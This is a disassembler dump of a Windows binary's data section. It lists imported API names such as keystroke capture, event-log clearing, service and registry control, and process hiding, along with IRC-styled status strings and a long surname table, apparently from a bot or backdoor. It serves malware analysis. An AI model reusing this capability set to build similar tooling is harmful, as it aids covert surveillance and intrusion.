aSelect db 'select',0 ; DATA XREF: sub_409A6D+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409A6D+629o
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A6D+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409A6D+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409A6D+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409A6D+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409A6D+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409A6D+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409A6D+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A6D+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A6D+5A2o
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A6D+588o
aSocket db 'socket',0 ; DATA XREF: sub_409A6D+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A6D+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A6D+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A6D+554o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A6D+547o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A6D+53Ao
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A6D+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A6D+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A6D+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A6D+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A6D+494o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A6D+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A6D+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A6D+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A6D+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A6D+453o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A6D+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A6D+43Eo
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A6D:loc_409E9Ao
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A6D:loc_409E72o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A6D+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A6D+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A6D+393o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A6D+386o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_409A6D+379o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A6D+36Co
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A6D+35Fo
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A6D:loc_409DC4o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A6D+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A6D+31Ao
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A6D:loc_409D7Fo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A6D+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A6D+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A6D+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A6D+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A6D+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A6D+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A6D+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A6D+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A6D:loc_409CCCo
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A6D+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A6D+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A6D+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A6D:loc_409C65o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A6D+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A6D+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A6D+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A6D+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A6D+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A6D+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A6D+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A6D+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A6D:loc_409BA2o
; .nsp0:00424CBAo
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A6D:loc_409B75o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A6D+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A6D+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A6D+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A6D+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A6D+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A6D+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409A6D+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A6D+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A6D+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A6D+2Bo
align 10h
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A6D+23o
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409A6D+Ao
align 10h
unk_433F80 db 2Dh ; - ; DATA XREF: sub_40A729+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A729+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A729+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+28o
align 4
a_: ; DATA XREF: .nsp0:0040DBE5o
; sub_41011E+24Do
unicode 0, <.>,0
unk_434110 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AB4Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 10h
unk_434140 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AB19o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 10h
unk_434170 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AAE5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_434194 db 2Dh ; - ; DATA XREF: sub_40AA8C+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AB6A+46o
; sub_40BEFB+38o
align 10h
aReal db 'real',0
align 4
dd 0
dword_4341DC dd 0 off_4341E0 dd offset sub_40AC10 ; DATA XREF: sub_40AFA5+49r
aConst db 'const',0
align 10h
dd 1, 40AC7Ch, 7474656Ch, 7265h, 0
dd 2, 40ACDAh, 706D6F63h, 2 dup(0)
dd 3, 40AD27h, 6E756F63h, 797274h, 0
dd 4, 40ADC5h, 736Fh, 2 dup(0)
dd 5, 40AE3Ah
off_434248 dd offset aAbdulrazak ; DATA XREF: sub_40AC10+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_434254 dd offset aAddison ; DATA XREF: sub_40AFA5+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison_0 ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner_0 ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook_0 ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles_0 ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField_0 ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield_0 ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson_0 ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood_0 ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker_0 ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
